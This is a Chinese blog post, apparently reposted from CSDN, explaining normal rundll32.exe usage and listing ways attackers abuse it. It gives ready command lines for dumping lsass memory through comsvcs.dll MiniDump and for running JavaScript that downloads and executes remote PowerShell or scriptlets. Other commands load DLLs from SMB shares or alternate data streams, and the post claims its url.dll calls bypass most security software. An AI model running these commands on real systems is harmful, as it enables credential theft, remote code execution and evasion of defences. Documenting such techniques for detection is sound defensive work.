深挖 Rundll32.exe 的多种“滥用方式”以及其“特别”之处。

恶意软件作者通常会编写恶意软件模仿合法的Windows进程。因此,我们可能会看到恶意软件伪装成svchost.exe、rundll32.exe或lsass.exe进程,攻击者利用的就是大多数Windows用户可能都不清楚这些系统进程在正常情况下的行为特征。在这篇文章中,我们将深挖rundll32.exe,以期对其有所了解。

  • 关于 Rundll.exe

顾名思义,rundll32.exe可执行文件是用于运行DLL(RUN DLL),即运行动态链接库的。

在MSDN中,对DLL的定义如下:

动态链接库(DLL)是一个模块,其中包含可以由另一个模块(应用程序或DLL)使用的函数和数据。

以下是使用rundll32.exe的最基本语法:

  • rundll32

rundll32.exe可执行文件可以是子进程,也可以是父进程,具体要取决于执行的上下文。为了确定一个rundll32.exe实例是否属于恶意,我们需要确认几件事。首先,需要确认启动它的路径,其次是命令行。

合法的RUNDLL32.EXE进程始终位于:

\Windows\System32\rundll32.exe

\Windows\SysWOW64\rundll32.exe(64位系统上的32位版本)

至于rundll32.exe实例的命令行,完全取决于要运行的内容,例如CPL文件、DLL安装等等。

下面我们将详细介绍一系列 rundll32.exe 调用和对应的作用。 


案例:

  • SHELL32.DLL – “OpenAs_RunDLL”

Rundll32.exe还可以执行DLL中的特定函数。例如,当选择一个文件并右键单击时,将会显示出一个上下文菜单,其中包含多个选项。这里的一个选项是“OpenWith”(打开方式)。在点击后,将会出现一个弹出窗口,可以从系统上安装的应用程序中进行选择。 

在此过程的背后,是使用 shell32.dll 和 OpenAs_RunDL 函数启动 rundll32.exe 实用程序,实际上就相当于在后台执行了以下命令:  

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL < file_path >

拿修改 hosts 文件举个例子,通过 WIN+R 执行以下命令,即可弹出该选择窗口: 

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL C:\Windows\System32\drivers\etc\hosts

 

这种在DLL中调用特定函数的行为非常普遍,因此我们恐怕无法将所有函数都了解全面。


  • SHELL32.DLL – “Control_RunDLL”

我们发现与shell32.dll一起使用的另一个常见函数是Control_RunDLL或Control_RunDLLAsUser。这两个函数用于运行.CPL文件或控制面板选项。

例如,如果我们要更改计算机的日期和时间,可以从控制面板启动对应的applet。

在后台,Windows实际上是使用以下命令行启动了rundll32.exe实例。 

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\timedate.cpl

打开防火墙:

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\firewall.cpl

 

很显然,这里的 CPL 文件也可以被替换成恶意文件,所以一旦出现可疑的路径及文件名,我们就需要结合其它工具来检查它的合法性。

除了检查.CPL文件外,在使用 Control_RunDLL 或 Control_RunDLLAsUser 函数时,应该一并检查所指向的.DLL文件合法性。  

  • DLL文件的调用 

攻击者如果使用合法的 DLL 文件来完成攻击活动,按照传统的检测手段,确实会大大增加防守难度,例如利用 comsvcs.dll 中的 MiniDump 函数对目标进程进行内存转储,从而实现凭证窃取,参考这里:

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full

类似的还有 advpack.dll,原本是用于帮助硬件和软件读取和验证.INF文件,也会被攻击者用做代码执行,参考这里:

c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection c:\360\360.png,DefaultInstall

当然,这些攻击手法在实际使用过程中肯定会有许多变种,用于绕过一些常规的检测方式,比如 MiniDump 函数的调用也可以通过编号 #24 完成,感兴趣的朋友可以看看这里:


  • 从 SMB 共享执行 DLL 
rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint

使用 Rundll32.exe 从 SMB 共享执行 DLL。EntryPoint 是 .DLL 文件中要执行的入口点的名称。

用例:从 SMB 共享执行 DLL。
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 


  • 执行 JavaScript 脚本 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://www.chwm.vip/');")

 使用 Rundll32.exe 执行 JavaScript 脚本,该脚本运行从以下位置下载的 PowerShell 脚本一个远程网站。

用例:从 Internet 执行代码
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 


  • 执行运行外部程序
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

使用 Rundll32.exe 执行运行 calc 的 JavaScript 脚本。EXE文件。 

 用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11


  • 执行运行外部程序并杀死 rundll32.exe 进程
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

使用 Rundll32.exe 执行运行 calc.exe 的 JavaScript 脚本并杀死启动的 Rundll32.exe 进程。 

用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

  • 执行调用远程 JavaScript 脚本 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://www.chwm.vip/test/test.js")

 使用 Rundll32.exe 执行调用远程 JavaScript 的 JavaScript 脚本。

用例:从 Internet 执行代码
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11   


  • 执行 VBScript 脚本代码 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";window.execScript("msgbox('a')","vbs");window.close()

 使用 Rundll32.exe 执行调用 VBScript 脚本。

用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11


  • 加载已注册或劫持的 COM 服务器   
rundll32.exe –localserver < CLSID_GUID >
rundll32.exe –sta < CLSID_GUID >

使用 Rundll32.exe 加载已注册或劫持的 COM 服务器有效负载。也适用于 ProgID。 

二者均可以用于加载恶意注册的COM对象。

需要验证相应的注册表项\HKEY_CLASSES_ROOT\CLSID\ 

推荐大家阅读以下文章,以详细了解这种技术。

https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

用例:执行 DLL/EXE COM 服务器负载或 ScriptletURL 代码。
所需权限: 用户
操作系统:Windows 10(可能还有以前的版本)、Windows 11 


  • 执行命令绕过安全软件
rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe

rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe

rundll32 url.dll, FileProtocolHandler calc.exe

这是经过反汇编分析 Url.dll 得出的结果,可以成功绕开大部分安全软件。

用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 


  •  备用数据流
rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain

 使用 Rundll32.exe 执行存储在备用数据流 (ADS) 中的 .DLL 文件。

用例:从备用数据流执行代码
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 


  • 执行 HTML 代码
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication < HTML Code >

使用 Rundll32.exe 调用 mshtml.dll 运行 HTML 代码。

用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11 


总结

感谢大家的阅读,希望能通过本篇文章对 Rundll32.exe 有所了解。 

Rundll32.exe 还有更多利用的方法,本文将持续更新。。。

猜你喜欢

转载自blog.csdn.net/qq_39190622/article/details/132165872